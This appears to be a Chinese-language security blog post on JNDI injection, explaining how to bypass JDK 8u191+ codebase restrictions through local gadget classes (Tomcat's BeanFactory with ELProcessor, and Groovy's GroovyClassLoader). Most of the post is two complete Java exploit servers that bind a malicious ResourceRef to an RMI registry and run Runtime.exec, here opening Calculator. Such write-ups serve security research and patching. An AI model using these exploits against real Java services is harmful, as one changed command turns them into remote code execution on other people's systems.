前言
jndi注入本质是 lookup()方法参数值可控,attacker可以通过使其加载恶意 rmi/ldap服务造成命令执行。
1 2
| InitialContext context = new InitialContext(); context.lookup("rmi://xxx.xxx.x.x:9999/attack");
|
Oracle openJDK8u121之后在 loadClass方法中引入 trustURLCodeBase来限制 rmi对于 codebase的远程加载,但是忘记考虑了 ldap的利用,所以 8u121 - 8u191之间的绕过方法是利用 ldap绕过。
Oracle openJDK8u191之后官方修复了 ldap的利用,修复原理同上,无法进行远程加载类实例化/执行静态代码块代码。

所以思考如何了利用本地已有类进行绕过。
JDK>=8u191绕过
除了 trustURLCodebase外,com.sun.jndi.rmi.registry.RegistryContext#decodeObject
中限制了 FactoryClassLocation必须为 null,否则抛出异常

所以第一次绕过就是 factoryLocation为 null

第二个绕过点就是 javax.naming.spi.NamingManager#getObjectFactoryFromReference
可以尝试加载本地类,使用加载的本地类对象调用 factory.getObjectInstance方法实现命令执行



因为返回对象是 ObjectFactory类型,所以加载的本地类必须实现 ObjectFactory接口
恰巧 tomcat中的一个类 org.apache.naming.factory.BeanFactory
类不仅实现了 ObjectFactory接口,并且 org.apache.naming.factory.BeanFactory#getObjectInstance
中调用了 method.invoke方法,给了命令执行可乘之机

EXP构造
(1) javax.el.ELProcessor,需要 tomcat依赖
1 2 3 4 5 6 7 8 9 10 11 12 13
| public class JNDI_BYPASS_Server { public static void main(String[] args) { try { InitialContext ctx = new InitialContext(); ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null); resourceRef.add(new StringRefAddr("forceString", "a=eval")); resourceRef.add(new StringRefAddr("a", "Runtime.getRuntime().exec('open -a Calculator')")); ctx.rebind("rmi://localhost:1888/remoteObj",resourceRef); } catch (Exception e) { e.printStackTrace(); } } }
|
(2) 使用 groovy,需要 groovy依赖
1 2 3 4 5 6 7 8 9 10 11 12 13
| public class JNDI_BYPASS_groovyServer { public static void main(String[] args) throws Exception { InitialContext ic = new InitialContext(); ResourceRef ref = new ResourceRef("groovy.lang.GroovyClassLoader", null, "", "", true,"org.apache.naming.factory.BeanFactory",null); ref.add(new StringRefAddr("forceString", "x=parseClass")); String script = "@groovy.transform.ASTTest(value={\n" + " assert java.lang.Runtime.getRuntime().exec(\"open -a Calculator\")\n" + "})\n" + "def x\n"; ref.add(new StringRefAddr("x",script)); ic.rebind("rmi://localhost:1888/remoteObj",ref); } }
|
参考
https://zone.huoxian.cn/d/2686-jndi-rmildap
https://y4er.com/posts/use-local-factory-bypass-jdk-to-jndi/
https://www.cnblogs.com/Welk1n/p/11066397.html